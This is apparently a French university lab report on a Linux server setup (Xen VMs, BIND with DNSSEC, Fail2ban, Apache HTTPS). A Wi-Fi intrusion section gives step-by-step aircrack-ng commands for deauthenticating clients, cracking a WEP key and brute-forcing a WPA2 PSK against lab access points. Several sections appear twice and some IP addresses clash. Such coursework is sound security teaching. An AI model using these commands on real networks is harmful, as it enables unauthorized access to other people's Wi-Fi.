Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== 3.6 Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

== Cassage de la clé ==

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

Atelier SysRes SE4 2025/2026 E8

2026-02-25T17:06:44Z

Yyahiani :

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online.

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== 3.6 Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

== Cassage de la clé ==

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

